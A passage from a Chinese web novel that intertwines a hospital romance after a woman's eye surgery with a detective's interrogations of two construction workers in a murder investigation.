一个人走进手术室的时候,洛景之在她身后陪同着,走到门口时,他心疼的目光稳稳落在她身上。
好在她的眼睛恢复的不错,手术成功的几率也很大,
再次出来,她也可以像正常人一样看到阳光,看到他。
瘦小的身影在走进手术室后的那一刻,洛景之在外面等候的时间感到无比煎熬。
他不该让她独自去面对,可也没有任何办法。
这场手术进行的很顺利,不到一个小时后,池念被推出手术室。
她身上的药力还没过去,被推出来的时候若有若无的听见洛景之呼喊她的声音。
医院走廊的声音很杂,他们没做停留,连忙推着她进了病房。
医生嘱咐道:“病人现在需要慢慢恢复,没有什么大问题了。”
“谢谢您医生。”他连忙道。
众人离开后,只有洛景之独自守在她身边,看着这小姑娘静静睡着的模样,像极了安静的公主。
没一会儿,她的手指微微颤动。
或者说,她一直都有意识,并未睡过去。
“念念,你醒了吗,怎么样,疼不疼?”洛景之想确认一下。
她的双眼缠着纱布,刚做完手术见不得光,他也不确定她是不是真的醒了。
“不疼。”小姑娘笑着,“有你在我身边,我一点都不疼的。”
“怎么会不疼呢,我上次也打了麻药,都那么疼。是怕我担心吧。”
她俏皮道:“你上次也欺骗我说伤口不疼,我们现在扯平了。”
洛景之喜欢这样的她,他故作生气:“我现在是不是给你惯出脾气了,都敢顶撞我了?”
“洛景之,这次我的眼睛好了就可以拆线看见你了,我想第一个见到的人是你。”
“好,
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我一定会陪在你身边。”他说,“医生已经说了,你的手术很顺利,过段时间恢复好就可以拆纱布了,你就可以看见了。”
“说实话,其实,我还是挺紧张的。”
“为什么?”
“我最后一次看这个世界,还是在十年前,这十年的变化很大,我想,我可能还得需要一段时间去慢慢适应。”
她失去光明的日子里,大多数都是去靠触觉来了解这个世界。
她看不见颜色,长相,这些甚至都不能去触摸到,了解新的世界,让她有些紧张。
“你有时间,等你眼睛好了,我带你去不同的地方了解你不知道的世界。”他握着她的手,给出这个承诺,“念念,我们会一起走到最后。”
“嗯,我相信你。”
他给出承诺。
她愿意相信。
这就是最纯洁的爱情。
两人还没说几句话,洛景之的手机突然响起来。
他看了眼来电显示,是张三。
张三找他,很大可能是公事。
这起案子发生的突然,按理来说,这是洛景之这段时间的全部精神压力,他应该彻夜蹲守警局去想方设法破案。
也是他侦查小组的理解,他们集体让他们洛队不要有那么大压力,于是几人合伙做好洛景之交代给他们的事,偏要给他时间放松放松。
前段时间他才把身上的伤养好,紧接着又出了这起案子,他们都想让他休息好。
当天下午三点左右,张三给他打来电话。
洛景之心中有了不好的预感:“张三?”
“老大,你快回来吧,我们需要你。”
“……”
此话一出,他们或许有了新的破案线索,又或者,遇到了新的麻烦。
他下意识去看向躺在病床上的池念,他如果离开了,留她一个人在医院,他是无论如何都放心不下的。
电话还没挂断,池念也似乎察觉到他在看她:“你如果有事可以先去,我自己可以的。”
他当然知道这是她的安慰话。
一个双眼看不见的小姑娘,而且还是刚刚做完手术,怎么可能自己能照顾自己。
洛景之突然心中萌生出一个办法,他先回了电话那边的张三:“行,我知道了,一会儿就到。”
随即便挂了电话。
而后又拨通了另一个人的电话:“夏槐。”
“怎么了洛大少爷?找本小姐有何贵干呢?”电话那边的夏槐优哉游哉的吃着甜点。
“求你件事。”
“?”
夏槐一脸懵逼。
几句话后,夏槐惊叹道:“什么?你让我去照顾你女朋友?!”
她甚至都觉得他脑子没毛病吧?她一个堂堂董事千金,让她去委身照顾别人?
她下意识想拒绝。
可这边洛景之丝毫不客气,直接拆穿:“不要忘记你曾经答应过我什么。”
“我答应你什么了我?!”她那边都快要跳起来。
——我发誓,你如果帮我问到了,我就……我就帮你保护好你的小女朋友,行不行?
——成交。
大数据突然让她恢复记忆。
“你女朋友还是池念?”夏槐在电话里问。
“废话。”
“那行。”她应道,“还以为你一周换一个呢。”
“……”
洛景之对她彻底无语。
他索性直接挂了电话。
“怎么了?”池念问。
“没事,警局那边有点事需要我处理一下,我让夏槐来照顾你,你好好的,要乖乖吃药恢复,等我回来。”他的话里充满对眼前小姑娘的关心。
这么多年了,他还是第一次这么关心一个人。
池念笑着回应:“好,你放心去吧。”
“等我回来。”他又重复一遍这句话。
34. 34
洛景之没顾得许多,走出医院后就火速赶往警局。
他步伐矫健,穿过层层人海向外面冲去。
张三电话里那么着急,他们一定是查找到新的线索了。
洛景之上了车,即刻便将电话拨回去,耳朵上的蓝牙耳机连接成功:“出什么事了?”
张三认真道:“案情有新的进展了。”这样的态度,一点不像平日那般嬉笑打闹的模样。
“说。”
电话那头继续说:“按照你的命令,我们几个查看了附近的监控,并联系了死者林媛媛的家属,目前死者家属并没有提供有利的线索,他们对死者也脱离了掌控,根本不知道她在做什么,也联系不到林媛媛。反而根据老张推测的死亡时间,我们查了监控,倒是有些新线索。”
洛景之:“找到那辆车了?”
张三道:“找到了。”
他突然反应过来:“?”
“老大,你怎么知道是辆车?”
洛景之双手握着方向盘,眼睛目视前方,还继续回答他的问题:“你还记不记得,老张之前说过,他在死者身上检测到一种皮质物质,一开始他是怀疑死者生前挣扎时不小心抓到了凶手的钱包,所以才在指缝里有这种物质的残存,现在看来,我的猜测没错,是一辆车。”
他眉头紧皱,语气也变得沉重:“案发现场,是在车里。”
张三那边佩服道:“哇,你们都好厉害,佳佳姐也是这么说的。”
“还有呢?”
“什么?”
“有关案子的事。”
“哦哦哦。”张三嘱咐道,“老大,你慢点开车,我讲给你听。”
“嗯。”
张三开始在电话里先跟他说着最近的收获:“我们顺着监控查到一辆可疑的面包车,我们在车上就检查到了红色滴状的液体,经检测,确认是死者的血迹。”
“现在已经把车主和他供认的其他的可疑人员也都控制起来了,就等你来一起审问了。”
“好,我十五分钟后到。”
他边开车边缕了一下思路,心中还是有些松弛。
只要找到车主,就距离勘破的日子又进一步。
警局的会议室里坐着他们几人熟悉的面孔。
他们整装待发,就差洛景之到来。
“老大,你可算来了!”张三激动的说。
洛景之脚步未做停留,到自己桌上拿起些东西急匆匆道:“走,去审讯室。”
审讯室狭窄的屋子里只有洛景之,陈佳佳和张三三个人。
面对嫌疑人,三人都十分认真。
洛景之看着嫌疑人的资料,又抬头观望着对面坐着的嫌疑人:“李勇军是吧?”
“是。”
他又接着问:“我们在你的车里提取到了死者的血,老实说,林媛媛是不是你杀的。”
听到对方说林媛媛的死和他有关,李勇军瞬间胆怯:“不是啊警察同志,我根本不认识她啊!”
“那你怎么解释你的车里会有林媛媛的血。”
“我真的不知道啊,我绝对没有杀人啊,我……”话说到一半,他突然记起什么,改口道,“我想起来了,23号那天,我把车借给林天成了,我就那一天把车子借出去了。”
听到他这样说,洛景之不得不把他所说的可疑性放大处理。
他和陈佳佳对视一眼,若有所思。
眼见他们不太相信,李勇军急忙证明自己:“你相信我警察同志,人真不是我杀的,我要是真想杀人,怎么可能会在自己车里杀人呢,那不是傻嘛。”
对方肤色很黑,一眼便知道他的工作是长期暴露在户外的。
见他十分焦急不像是装出来的,洛景之和陈佳佳的态度也缓和许多。
陈佳佳注意着他的神情,也同样观察着对方脸部所有的小细节。
她问:“还有谁知道你在23号这天把车借出去了?”
“我们工地上的工友都知道啊。”
“23号晚上你在干什么?”
“我在和我们几个工友喝酒啊,其中林天成也在。”
他努力回忆着那天晚上发生的事情:“那天晚上我们几个都有点喝多了,林天成干活拼,他回来的晚,酒也没喝多少,后来他就开着我的车先走了,再后来……”
“直到半夜两点才把车还回来。我当时还看了看表,就因为太晚吵着我睡觉,我还骂了句有病。”
“我说的都是真的警察同志。”他一个男人,面对这样的审问险些快要哭了,“真的就这些了,我绝对没有杀人!你们要相信我!”
陈佳佳安抚着他的情绪:“相信你那也得等你老实回答完我们的问题,我们才能帮你洗脱嫌疑。”
“好好好,你们问什么我都老老实实回答。”
洛景之问:“林天成开着你的车干什么去了?”
“这,我也不知道。”
“不知道?他把你车借走了你都不问一句开走干什么了?”
“他不是第一次借了,有时候开走去买东西,有时候回家看他母亲。”李勇军说,“刚开始的时候会问,但次数多了也就不问了。”
“他家里几口人?”
“就他和他母亲。”
“老婆孩子呢?”
“他没孩子。”
李勇军说。
但看着他们一脸质疑的模样,李勇军只好继续说出实情:“警察同志,你们不知道,其实,林天成那方面不行,结婚很久都没有孩子,而且还嗜酒成性,每次喝多了就会殴打老婆,所以他老婆就提出离婚了,大概已经有十多年了吧?”
“你们只是工友,怎么知道这么多的?”
“他自己说的啊,每次喝多了就会跟我说这些。”李勇军说,“我说的都是真的警察同志,你们可得查清楚啊,我真的是良民。”
“你觉得林天成的人品怎么样?”洛景之问。
李勇军想都没想直接说:“他?他在工地人缘特别差……”
说到这儿,他突然反应过来,脸色铁青的又问:“警察同志,你们的意思是,我这车,是林天成开出去杀了人?”
“……”
他虽然不太敢相信,但这么一想,也不是没有这个可能。
李勇军边回忆又自言自语道:“对对对,那天晚上只有他开了我的车,现在我的车里有痕迹,那一定跟他林天成脱不了关系,枉我那么信任他,他竟然——”
“事情还没有查清楚,不要随便下结论。”他的猜想被他制止。
审问结束后,洛景之惆怅的走出审讯室。
跟他一同云里雾里的还有陈佳佳。
陈佳佳追上他的脚步,看着洛景之的怀疑,似乎也能肯定自己的怀疑是对的。
洛景之仔细思考,所有注意力都在刚才的审问内容上:“这个李勇军看上去不像是撒谎。”
陈佳佳肯定道:“他没有撒谎,他迫切的想要离开这里,脸上的小表情已经出卖了他。”
她表情沉重,大胆说出自己的判断:“车是林天成开出去的,如果李勇军没有撒谎的话,那林天成有极大的作案嫌疑。”
张三跟在身后道:“我也这么认为,感觉李勇军不像是在撒谎。”
洛景之猛然又问:“林天成人呢?”
“已经被控制在隔壁了。”张三说。
“现在过去!”
洛景之的步子很快,陈佳佳的个子才一米六,她需要一路小跑着才能跟上他的脚步。
同样,张三手里的记录一样也没落下,同时他们的审讯录音也保留下来。
面对林天成,他的态度就没有刚才李勇军的态度好。
洛景之往他对面坐下,就对视上这么一双狼的眼睛,表面纯纯无害,实则
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是在掩盖自己的野心。
但要想判断一个人是不是凶手,并不是只靠外表来决断。
洛景之脸上的凶狠也多了几分,他也是见人下菜碟:“死者林媛媛,你认不认识?”
对方蛮横道:“不认识。”
林天成身上有股傲气,有种誓死不配合的样子,可虽然勉强配合,却总是拽的跟二大爷一样。
“可为什么你开的车上会有死者血迹?”
“你们搞清楚,那车是我的吗?”他似乎抓到这个缺陷,就辩解道。
陈佳佳又问:“我们问了你的工友,他们几个都说,23号那天晚上是你开着那辆车出去了,直到半夜两点才回来,是真的吗?”
“是。”
“开车出去干什么了?”
“买东西。”
“买东西?你半夜出去买东西?”这话换谁都不会相信,到此,陈佳佳认为他在说谎,继续问,“买了什么?”
“……”
林天成不说话。
面对审问,他一副无所谓的模样,这让他们很是气氛。
洛景之看不下去这家伙的嘴脸,怒道:“你最好老实交代,要不然,就在牢里吃一辈子牢饭吧!”
陈佳佳想用亲情来作为突破口:“想想你的母亲,你要是真的出了什么事,她该怎么办。”
刚才李勇军也说,他会回去看望母亲,想来此人并不是什么十恶不赦的人,既然有弱点,那就从弱点慢慢突破他的心理防线。
果然,林天成心里也在做挣扎,不一会儿,他简单吐出两个字:“吃的。”
“什么?”
“我开车出去,买了吃的。”
陈佳佳脸上露出一抹笑意。
她作为专业的心理犯罪研究师,她能敏锐的察觉出对方的在意点。
“23号那天晚上你都在做什么?”
“喝酒。”
“跟谁?”
“我们一起干活的工友。”
“喝到几点?”洛景之问。
他又不说话。
这一次次的隐瞒,让他们产生更大的怀疑;
“你知不知道不配合警方调查,后果会有多恶劣。”陈佳佳说,“坦白从宽,抗拒从严,你应该知道犯了错最好的弥补就是认错并改错。”
“林天成,你并不是一个坏人,做了坏事就要自己付出代价。”
陈佳佳作为对嫌疑人心理方面的突击者,她更坚持的理念是能让他们改过自新,迷途知返,而不是一味地揪出背后的真相,惩罚对方。
她说话间,也会透露着悲悯。
但洛景之并非如此,他身上兼顾着很大的压力。
对他来说,只要能破案还受害者一个公道,他会在法律允许的范围内做任何事。
洛景之说话不客气,他破过的案子太多了,见过的嫌疑人和凶手也太多了,配合的不配合的也就这两种,他态度一向好不起来。
林天成眼神中存在逃避,这被陈佳佳注意到。
但看他们紧逼着,他只好说到:“我不知道他们喝到什么时候,反正我是喝了一点就走了。”
“你那么爱喝酒的人,会简单喝一点就走吗?”洛景之穷追不舍,“到底是什么逼迫你不得不离场的。”
他双眼紧盯着他:“他们说什么了?”
“没说什么。”
“大概说了什么?”
林天成彻底情绪爆发:“我已经交代了他们没说什么!”
他拍着桌子,强烈的震动声在这狭窄的空间里格外响亮。
一旁忙着记笔录的张三也闻声抬头。
而洛景之早就见惯了这样的场面,毫不动容:“你们是不是起了冲突你才离开的?”
“没有!”林天成朝他们嘶吼,他似乎也难以控制自己的情绪,“要我说多少遍?!”
“……”
35. 35
洛景之和陈佳佳看他情绪激动,此刻也不再适合继续审问。
他们对视一眼,便一同走出审讯室。
关上审讯室的房门,张三在他们身后跟着,边走边整理着什么。
陈佳佳皱着眉,和洛景之并肩走着,边走边思索着这其中的悬疑:“没有就没有,他为什么那么激动?”
“这更像是受到了某种刺激。”她猜测。
“我也是这么觉得。”直觉告诉他这其中一定有隐瞒,洛景之眉头一松,脸上的表情放松许多,“看来,咱们还得去问问李勇军。”
陈佳佳:“我赞同,我也总觉得,李勇军好像还有什么事瞒着我们。”
“他虽然没有撒谎,可是对我们刚才的问话似乎保留了些什么。”
洛景之随即道:“走吧。”
陈佳佳:“哎?”
他停住脚步。
“洛队,这都中午了,就算你不饿,大家可还要吃饭呢。”
洛景之经她提醒,抬手看了眼手表,现在已经八点半了。
“吃饱饭才能有力气工作啊洛队。”陈佳佳伸着懒腰朝外面走去,“快点吧,看看他们还有没有给我们留着饭。”
说到吃饭,张三最是积极:“等等我啊佳佳姐,我也饿了。”
他刚追出去几步,脚步又折返回来:“那个老大,你也赶紧去吧,今天有鸡腿,完了就被抢光了。”
洛景之:“……”
既然到饭点了,他也只好去补充一下体力。
吃饭是他较为放松的时间段,因为这顿饭过后,他们又是高度消耗精力的去工作。
他们吃饭直接在办公室吃了,吃完饭顺手就将自己的餐盘洗了,这样比较节省时间。
三人赶到的时候,他们各自的桌位上已经打好了晚饭。
张三激动的窜到自己的位置,着重看了看有没有鸡腿,可当看到自己的鸡腿明晃晃的躺在餐盘里时,瞬间开心到炸。
“太好了太好了,我有鸡腿!”他激动道,“谁帮我抢的?他就是我的再生父母!我回去就把他的照片贴在我的床头前每天拜三拜!”
其他几人都边吃边笑他。
林南回:“我!”
他毫不客气道:“拜三拜就算了,叫声爸爸听听。”
“爸爸。”他笑道,“能不能麻烦您老,下次有鸡腿的时候,再帮忙抢一个?”
林南:“……”
“你还真是为了个鸡腿能屈能伸啊。”
“那当然,天大地大,吃饭最大。”张三得意道。
他夹起餐盘里的鸡腿就要吃时,忽然又上来一名穿便服的小警察。
他朝着这间集体办公室喊了句:“鸡腿不够的话楼下还有,可以再去拿。”
张三:“……”
“怎么个情况??”
其他人不做声,只是笑着低头吃自己的饭。
张三忍不住叫道:“林南?!”
林南慢悠悠的说:“哦,刚才没来得及说,领导看我们这么辛苦,就给我们没人加了三个鸡腿,你要是不够的话,可以再去楼下拿,不用抢。”
“……”
“我靠,林南,你占我便宜!”张三说着就冲到林南工位上就要揪他衣领。
原本就是小打小闹,但张启明上了年纪,总觉得他们会闹生气,主动去制止:“哎哎哎,别动手别动手!有事好商量”
两人这样打闹已经是他们公认的常态。
洛景之夹了口菜吃进嘴里,坐在椅子上掏出手机,他翻看着手机微信的聊天联系人,找到了池念。
他们很少在微信上聊天,池念给他发的也都是语音条。
洛景之点开和她的聊天记录,又将她设置了聊天置顶。
最后翻看半天,还是没忍住给她发了条语音消息:【吃饭了吗?】
消息隔了十分钟才回:【吃过了,刚刚医生来打了点滴,所以刚看到消息。】
洛景之:【吃的什么?】
池念:【图片】
洛景之:【你可以发图片?】
池念:【是夏槐帮我发的。】
他还没发出去,然后又收到池念发来的一条消息。
池念:【洛景之,你这男朋友当得还真是没有良心,工作重要还是女朋友重要?】
洛景之:“……”
【把手机还给念念。】
池念:【你好好工作,不用担心我,夏槐把我照顾的很好,我们相处的也很融洽。】
洛景之:【好。】
晚饭过后,他们的工作还要继续。
几人商议着刚才从李勇军和林天成嘴里审问到的内容,他们将内容做出个结论。
甚至将所有可疑的点都标列出来。
次日。
洛景之醒的早,他为了验证心中的猜想,所有的疑问和第二天的行动全部都在脑中列成了大纲。
他们只需要休息好,就会再为了案情而战。
早上七点,张三就被洛景之电话轰炸起来:“老大,这么早,你该不会是有新的发现了吧?”
他甚至还打着哈欠:“好困啊。”
张启明已经习惯了这样的生活:“别抱怨,咱们这个工作就是这样,没有命案的时候就闲的数星星,有案子的时候就累成狗。”
“啊——”话刚说完,张三又迎来一个哈欠。
洛景之也早就习惯了,他的精力必须时刻都要保持着警惕:“张三,你去查查监控,那天晚上林天成开车有没有去过超市或者便利店。”
他惺忪着双眼,慵懒道:“明白,现在就去。”
陈佳佳:“那我们继续去审问李勇军。”
“走。”
-
医院里,夏槐生平第一次照顾人,她可是一直都是被照顾的那个。
鉴于第一次见面的时候她对池念的印象还不错,这不也对她照顾也算是尽心尽力。
夏槐手里拎着各种水果,以及人家给做好打包拿过来的排骨和鱼汤,她不懂得照顾人,这些肉食还是人家饭店老板给推荐的。
“念念小公主,好久不见啊!”
她边说边将东西放到了病床旁边的桌上。
手提着这些东西走一路,她累的直喘粗气。
听闻声音,池念朝声源处侧侧头:“你是,夏槐?”
她小心问到。
池念对夏槐了解不多,两人只在洛家见过一次面,之所以能认出是她,还得是她的声音,以及那句她独有的称呼——念念小公主。
这样的称呼让她觉得很亲近。
“是我呀!”她到哪里都自然熟,“我也就是看在上次他帮了我的份上,要不然就他那样的态度,我才不来呢!”
“不是针对你哈,我跟洛景之经常这样互怼的。”
池念笑道:“没关系的,麻烦你过来照顾我我就已经很过意不去了。”
“这有什么,只不过我不太会照顾人,你有什么直接吩咐我就行。”
夏槐一向喜欢直来直去,只不过她这样爽朗的性格,却在感情上总是变得犹豫不决。
“对了,你的眼睛恢复了,是不是就可以看见啦?”
“应该是这样。”
“那是好事啊!”她甚至比池念都激动,“等你眼睛恢复,不得让洛景之好好庆祝庆祝!”
池念听着她的话术,忍不住笑出声来。
夏槐被她吸引:“怎么了?你笑什么?”
“我觉得你很有趣。”
“有趣?”她有些怀疑自我,不过很快又得意起来,“有趣是我的个性。”
池念喜欢这样的她,也乐意交这样的朋友。
她自己这前半生活的小心谨慎,一点都不快乐,她渴望变成夏槐这样想说什么就说什么,想做什么就做什么的人。
她知道,她自己正在慢慢变成那样的人。
是洛景之把她变成一个开朗的自己。
夏槐掏出那些水果,拿了一个大苹果:“我去帮你洗个苹果,你等等哈。”
“好,辛苦你了。”
两个女生的相处很融洽,一个爱闹,一个温文尔雅,两人的性格也很搭配。
夏槐起身走去门口,刚想开门出去时,房间门被人从外推开。
她好奇的和来人对视上。
是洛延之?!
洛延之怎么会来这儿?!
夏槐有些不相信自己的眼睛,甚至盯着他看了好几秒?
这真的是洛延之啊啊啊啊?!
等等,我慌什么?
夏槐平复心情,跟他打招呼:“你好啊,洛延之。”
“你好。”
听闻声音,坐在病床上的池念问:“延之?是你吗?”
他给出回应:“是我。”
“你怎么会来这儿?”夏槐抢先问。
洛延之也将手里的东西放下:“是我哥跟我说,嫂子住院需要人照顾,让我过来帮帮忙。”
夏槐:“……”
她现在觉得洛景之是故意的。
果然再看手机时,她的微信收到一条消息,是洛景之发来的:【对了,我还给你准备了个惊喜,希望你看到的时候不要太感谢我。】
“……”
她笑的阴冷,随后打了一行字:【你上辈子是我的克星吧……】
这些年的喜欢,她一直都是小心呵护着。
似乎,所有人都知道她喜欢洛延之,只有他自己不知道。
洛景之故意在给他们创造机会。
可是,为什么呢?
在夏槐看来,洛延之是有女朋友的,洛景之帮她打听的这件事他自然也是知道的。
既然这样,他为什么还要撮合她靠近洛延之呢?
她想不明白。
如果她真这样做了。
那那那。
那岂不是成了插足别人感情的第三者了?
夏槐越想越觉得可怕。
她是不能让这种事发生的。
而内心同样感到挣扎的人还有池念。
宁曼曼对洛延之做的一切她全都听见了,她也清楚的知道,宁曼曼和洛延之是走不到一起的,既然这样……
或许,就真的只有靠喜欢上另一个人来减少这件感情背后的阴谋带给他的痛苦了。
见两人似乎火药味十足,池念能明显感觉到。
但想到洛景之之前跟她提起过他们是一起长大的时候,也瞬间明白过来。
他们两个也认识。
“我不会住院很久,也不会麻烦你们很久的,这段时间,就辛苦你们啦~”池念礼貌说着。
夏槐:“客气什么!”
她笑的脸都快要僵了。
女生,果然还是对自己喜欢的男生才回变得与众不同。
洛延之走到池念身边说:“以后有事直接叫我就行,不用觉得不好意思。”
“谢谢你延之。”
夏槐正想出去,手里的苹果还在掌心握着,她朝他喊:“我要去给念念洗个苹果,要不你跟我一起,你把那草莓洗一下吧。”
“嗯。”他没犹豫,跟着她一起走了出去。
池念跟洛延之相处,脑海中满是宁曼曼那天说的阴谋。
她坐在床上自言自语着:“唉,不知道洛景之有没有告诉延之曼曼的事。”
“可看他的样子,应该是……不知道吧?”
她既然告诉了洛景之,也说过这件事他会处理,她也还是总忍不住担心。
到底该怎么办呢。
医院的夜晚格外安静。
洛延之和夏槐各自睡在池念病床的左右两端,两人皆是打地铺。
房间里的小夜灯亮着,方便病房的其他病人起夜。
夏槐的睡姿百态,她白天没少跑腿,晚上一碰被子就睡着了,不知什么时候,她迷迷糊糊的起身,撩开被子朝外面走去。
没错,她是被憋醒了。
病房里有单间厕所,夏槐就这样迷迷糊糊的进,又迷迷糊糊的出,脑子混沌,没了方向感。
她打了个哈欠,夜里天凉,她感觉浑身都在打颤,现在只想快点钻进被窝。
撩开被子,她快速钻进去。
太好了,被窝还是热的。
她没有多想,倒头就睡去。
她甚至还在被窝里拱了拱,直到找到个舒服的位置才睡得深沉。
洛延之的睡眠浅,他隐约觉得自己身后似乎进来个什么东西,好奇心驱使他转身看过去。
看清楚的一瞬间,他猛然清醒,身体也僵住,像个木板。
她!她怎么会进来我的……
洛延之看的清楚,这个女孩切切实实此刻正睡在他身边。
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>对于一个只谈过一个女朋友、还是只谈了半个月的纯情男大来说,自己身边睡了个姑娘,这怎么能不紧张。
此刻洛延之的心跳快要飙到一百二,他按捺不住自己的情绪。
他明明对她没有任何想法,为什么会紧张。
他现在也不太敢动,生怕自己什么动作将她吵醒。
可转头看向睡着时的夏槐……
一只脚还露在被子外面,一只手压着,另一只手伸到头顶,这样的睡姿,他觉得反倒是他多虑了。
她睡得舒服,嘴里还呢喃着:“爸,大夏天我也要吃冰棍,吃了冰棍……我怎么感觉……还,还有点冷呢?”
“爸,您把空调关了吧……”
说完,她还随意动了动。
洛延之轻叹口气,动作轻盈的将她的手放了回去,又帮她往上提了提被子。
之后他没再管她,低头看了眼手表,才凌晨六点
外面天已经大亮,窗外面泛着白,雾气缭绕。
洛延之也没想再继续睡,起身漫无目的的走出病房,他几乎是同手同脚,耳尖此刻还红的似是透血。
他这是怎么了?
怎么感觉这么奇怪。
他还没搞明白发生什么事,值班的小护士注意到他,径直朝他走过来。
对方礼貌问:“先生,您有什么事吗?”
“没,没事?”
“您没发烧吧?我看您脸色很红晕,不烫吧?”
洛延之赶忙摇摇头,随便找了个借口搪塞:“没有没有,谢谢,我只是,只是有点热。”
“原来是这样,那好,如果有什么需要可以找我哦。”
“好的,谢谢。”
临走时,小护士回眸数次观望他的举动。
回想刚才小护士的言语,他不自觉的双手摸了摸脸,真的有些发热。
洛延之晃了晃头,没有多想,大步走出去了。
医院食堂也刚刚开门,正巧,他可以把早餐买回去。
洛延之站在窗口,抬头看着摊位上的菜单,此刻,他竟不自觉想到夏槐:“老板,有牛奶吗?”
回忆夏槐曾经说过的:“我习惯早上喝杯牛奶,其他的吃什么都可以。”
他什么时候记得她的喜好了?
老板手里忙碌着,还边回应:“年轻人,我们这是小摊早点,没有牛奶,有豆浆你要不要?”
夏槐:“什么豆浆,咖啡,奶昔什么的,我个人不太习惯喝。”
洛延之礼貌道:“不用了,谢谢您,您要不给我拿六个包子和两碗小米粥吧,包子要猪肉馅的。”
老板:“好嘞,你稍等一会儿啊,刚开门,还得有一会儿时间。”
“行,我不着急。”他又问,“您知道这附近哪里有卖热牛奶的吗?”
“这个,这条路一直向北,有个挺大的早餐店,你可以去看看有没有,我也不太确定。”
“好,谢谢您,”他边说,边扫码付款,“钱我付过去了,东西一会儿我回来的时候过来拿。”
“好说。”
不知道为什么,他虽然记性好,但应该还不至于去在乎她的喜好,理应他现在正在照顾池念,该考虑的应该是池念的喜好才对,怎么会……
或许,他和夏槐认识的时间还要长,两人的友情要更自然些吧。
洛延之没有想太多,而是顺着老板指的方向一路探听问路。
大概步行了有十五分钟,这家早餐店果然有热牛奶,洛延之买完之后没有停留,原路返回去。
同样,夏槐这边被外面鸟名声吵醒,她舒舒服服的伸了个懒腰。
池念醒得早,她睡眠浅,医院这种地方她次次都睡不好。
听着夏槐的声音,池念有些奇怪:“夏槐?”
她睡眼还未睁开,迷糊回应着:“怎么了?”
“你昨晚不是在这边睡的吗?”
池念虽然看不见,但她可以听声音判断,姑娘伸手指了指相反的方向质疑。
经她这么一问,夏槐才反应过来:“???”
什么情况???
她睡得位置是……
洛延之的地铺???!!!
“我……”
她仍旧不死心的看了看四周,还真是?
池念见她久久不说话,想来也是自己觉得意外,“你,该不会……”
“你想到哪儿去啦?我没有,真的没有。”
池念故意曲解她的意思:“没有什么?”
“好啊你念念,你故意的!”
夏槐说完就过去抓她痒。
两人的嬉笑打闹传遍整间屋子。
“好了好了,我不闹你了。”池念连声求饶,“放过我吧,不闹你了。”
夏槐:“看你下次还敢不敢开我的玩笑。”
“真不敢了。”池念没了刚开始的胆量,安静片刻,她突然意识到,“延之呢?他不在吗?”
“哎?”夏槐也注意到,“我醒来的时候就没有看见他。”
“难道是出去买吃的了?”
池念:“可能?”
正疑问间,门口传来一个声音:“我回来了。”
说来也巧,两人正念叨着,便等来了这人。
夏槐有些心虚的看着他,“你做什么去了?”
“去买早餐了。”
“你看,我猜对了吧念念。”
池念只是微笑着,没有搭话。
洛延之心中也有些紧张,他将手里的早餐放到桌上,眼神飘忽不定:“我出门的时候医院门口什么都有卖的,我也不知道你们喜欢吃什么,就随便买了点,都是比较清淡的。”
池念:“谢谢,真是麻烦你了延之。”
“不客气。”他手拿起些什么,递到夏槐面前。
夏槐还没看清他拿的什么,就已经被他递到眼前。
“这是你的牛奶,我看到了,就顺手买了一杯。”
“……”
他竟然会……
这对一直偷偷喜欢他的夏槐来说高兴坏了。
三人在医院相处的很和睦,似乎与世无争。
而池念此刻才意识到两人对彼此的情感在悄悄发生变化,她这么懂事,当然会随了他们的心愿。
毕竟对洛延之来说,如果能和夏槐走在一起,要不选择宁曼曼好太多了。
36. 36
警局。
洛景之带着手写本,也方便将有关的重要线索记下来。
单向玻璃外,张启明和林南坐在椅子上注视着里面的一切。
带着昨天的疑问,洛景之推门而入,黑色的衬衫,警衔映着灯光泛起丝丝冷光,陈佳佳跟在他身后一同走进去。
审讯室内的灯光直射李勇军,照的他脸色惨白。
洛景之拉开椅子,金属摩擦地面的声音格外刺耳,仿若刀片一道道滑过玻璃,听的心头泛起些许凉意。
第二次审问他,洛景之依旧保持和第一次一样有极大的耐心。
干他们这行的,耐心是必备。
他还是一如既往的哭哭啼啼:“警察同志,我真的什么都没干,我,我平时连踩死一只蚂蚁都觉得可怜,怎么可能会杀人呢,你们一定得要查清楚啊。”
“但凡坐在这里的人都说自己是冤枉的。”
“不是,我真的是冤枉的!真没撒谎。”
“行。”洛景之步入正题,他抬眼注视着他,眸色比这审讯室里的灯光还要冷,“23号那天晚上,你们喝酒喝的好好的,林天成突然离场,解释。”
“离场?我也不太清楚……”
“不说实话,那就是在替他隐瞒真相,你是想犯判包庇罪被判入刑吗?!”
他想说却又有苦衷似的不敢说的模样被陈佳佳注意到。
她转而又道:“李勇军,你应该想想,如果我们什么都不知道的话,也不会着重问你这个问题,就算你不说,警方查出真相是迟早的事,到那个时候如果真跟你有关系,那你可就是背负着杀人的罪行被判入狱的。”
陈佳佳最喜欢在心理方面拿捏人,她表面淡定:“你可要想清楚,现在你如实交代出他人的犯罪实情,也可以按自首从宽处理。”
洛景之又问:“我再问你一遍,林天成为什么突然离开了。”
李勇军内心无比纠结,就像陈佳佳说的,查出真相是早晚的事,他就算隐瞒也不会将这个秘密带进棺材里。
“我说,我都说。”想到这儿,李勇军彻底被他们击垮内心最后倔强的防线,“警察同志,其实那天,林天成是赌气出去的。”
“赌气?”
“是。”他有些为难,但又不得不说,“那天晚上,我们几个喝的尽兴,林天成来的晚,我们几个喝多了就容易胡乱说话,就有人当着他的面说……”
“说什么?”
“说他那方面不行……”
回忆
23号晚上七点
“干了一天,累死了。”
“走走走,李勇军说了,今晚有局,咱们一起去。”
“你说这李勇军干一天活还老惦记着喝酒,他哪来的钱?”
“不知道,不过这顿应该不是他聚拢的。”
“管他呢,反正不管是谁聚拢的,到最后不都得AA?干了一天活,咱们也去放松放松。”
“走走走。”
建筑工地的工人陆续下班。
来不及顾及身上的灰尘,他们纷纷朝着李勇军住宿的地方走去。
工地上的环境不好,这样的工作需要每天经历风吹日晒,对结束一天累活的他们来说,酒局是非常放松的方式。
像这样的酒局,他们大概一周聚一次。
工人的宿舍破烂不堪,生锈的铁床架时不时地发出咯吱咯吱的声音,他们到的时候,李勇军已经和几名伙计喝上了。
地上的垃圾被他们扔的到处都是,在这灰砂地上很是显眼。
还有人不想和他们一起混,独自躺在床上睡觉,他们每天的活动量很大,基本上是倒床上就可以睡着。
几人的欢笑声盖过个别的呼噜声,像是昼夜狂欢的party。
“每天还是这个时候最放松,要是无休止的干活,咱们这身体可吃不消。”
